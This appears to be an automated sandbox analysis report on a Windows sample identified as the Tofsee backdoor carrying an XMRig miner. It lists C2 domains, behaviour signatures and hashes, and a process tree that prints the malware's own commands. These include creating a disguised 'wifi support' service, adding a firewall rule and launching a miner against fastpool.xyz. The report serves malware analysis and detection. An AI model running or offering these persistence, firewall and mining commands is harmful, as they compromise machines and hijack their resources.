Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/10/2022, 19:55

General

  • Target
    file.exe
  • Size 216KB
  • Sample221026-ym4lnaghc5
  • SHA256 65837334db3ee6961668fa102268211742aabefdf609c03a2015b9a9d1d16b30
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4812
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\syymkqrj\
      2⤵
        PID:5100
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\fcwxucsz.exe" C:\Windows\SysWOW64\syymkqrj\
        2⤵
          PID:1376
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create syymkqrj binPath= "C:\Windows\SysWOW64\syymkqrj\fcwxucsz.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:5112
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description syymkqrj "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4312
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start syymkqrj
          2⤵
          • Launches sc.exe
          PID:2328
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5088
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1104
          2⤵
          • Program crash
          PID:1684
      • C:\Windows\SysWOW64\syymkqrj\fcwxucsz.exe
        C:\Windows\SysWOW64\syymkqrj\fcwxucsz.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:392
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4472
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1080
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 392 -s 512
          2⤵
          • Program crash
          PID:3908
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4812 -ip 4812
        1⤵
          PID:1848
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 392 -ip 392
          1⤵
            PID:760

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                fcwxucsz.exe

                • Path C:\Users\Admin\AppData\Local\Temp\fcwxucsz.exe
                • Size 12.1MB
                • SHA256 6cb587199409aa721631633561d3111e9212583a0d9eaad1121f5312acdae504
                • MD5 SHA1 SHA512 SSDEEP

                fcwxucsz.exe

                • Path C:\Windows\SysWOW64\syymkqrj\fcwxucsz.exe
                • Size 12.1MB
                • SHA256 6cb587199409aa721631633561d3111e9212583a0d9eaad1121f5312acdae504
                • MD5 SHA1 SHA512 SSDEEP

                memory/392-149-0x00000000008F3000-0x0000000000903000-memory.dmp

                memory/392-150-0x0000000000400000-0x0000000000594000-memory.dmp

                memory/1080-177-0x0000000000400000-0x00000000004F1000-memory.dmp

                memory/1080-172-0x0000000000400000-0x00000000004F1000-memory.dmp

                memory/4472-146-0x0000000000C60000-0x0000000000C75000-memory.dmp

                memory/4472-165-0x0000000007800000-0x0000000007C0B000-memory.dmp

                memory/4472-168-0x0000000002DD0000-0x0000000002DD7000-memory.dmp

                memory/4472-162-0x0000000001FF0000-0x0000000001FF5000-memory.dmp

                memory/4472-159-0x0000000001FE0000-0x0000000001FF0000-memory.dmp

                memory/4472-156-0x0000000001FD0000-0x0000000001FD6000-memory.dmp

                memory/4472-151-0x0000000000C60000-0x0000000000C75000-memory.dmp

                memory/4472-152-0x0000000000C60000-0x0000000000C75000-memory.dmp

                memory/4472-153-0x0000000002800000-0x0000000002A0F000-memory.dmp

                memory/4812-132-0x0000000000849000-0x000000000085A000-memory.dmp

                memory/4812-143-0x0000000000849000-0x000000000085A000-memory.dmp

                memory/4812-144-0x0000000000400000-0x0000000000594000-memory.dmp

                memory/4812-134-0x0000000000400000-0x0000000000594000-memory.dmp

                memory/4812-133-0x0000000000620000-0x0000000000633000-memory.dmp